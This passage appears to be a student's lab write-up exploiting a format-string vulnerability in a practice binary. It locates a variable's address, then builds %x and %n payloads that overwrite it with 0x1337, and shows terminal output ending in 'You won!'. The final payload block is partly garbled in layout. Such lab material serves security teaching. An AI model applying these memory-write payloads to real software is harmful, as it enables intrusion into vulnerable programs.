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- By looking at the code, we can tell that there are 2 ways to make `jackpot = 0x1337`. The first is to run the program `n` times and `jackpot` might happen to be set to `0x1337` by the random function. The second is to manually write `0x1337` into the value at the address of `jackpot`.
- We find the address of `jackpot` by running the program once with an empty string. The address we get is: `0x601074`

```
student@student-VirtualBox:~/Desktop/a2/format_string$ ./format_string
Give me a string to print

jackpot @ 0x601074 = 589177816 [0x231e23d8]
You lost :(
student@student-VirtualBox:~/Desktop/a2/format_string$
```

- The next step was to see which argument number leaks the value we require from the stack. So we append a string of '%x's to the 0x00601074 address bytes to find the argument number.(The address is appended to a 0x00 byte to align it with the length of the address)

```
payload = "%x %x %x %x %x %x %x %x %x %x %x\x74\x10\x60\00"
pl = open("./payload", "wb")
pl.write(payload)
```

From the resulting output we can then identify that the start of the 32nd byte is read in by the 10th argument.(Highlighted in yellow in the output below)

```
student@student-VirtualBox:~/Desktop/a2/format_string$ ./format_string < payload
Give me a string to print
69277670 80 cacd7320 cb1b7700 cafa4120 25207825 20782520 78252078 25207825 60107
4 0t jackpot @ 0x601074 = 956862169 [0x39088ed9]
You lost :(
student@student-VirtualBox:~/Desktop/a2/format_string$
```

- ```
payload = "%04856dAAAAx%x%x%x%x%x%x%x%x%np\x74\x10\x60\00"
000
000
000
000
000
000
000
000
000
000
000
000
000
cc7b1203834302578783039782578257825(nil)t[]jackpot @ 0x601074 = 4919 [0x0000
1337]
You won!
student@student-VirtualBox:~/Desktop/a2/format_string$
```

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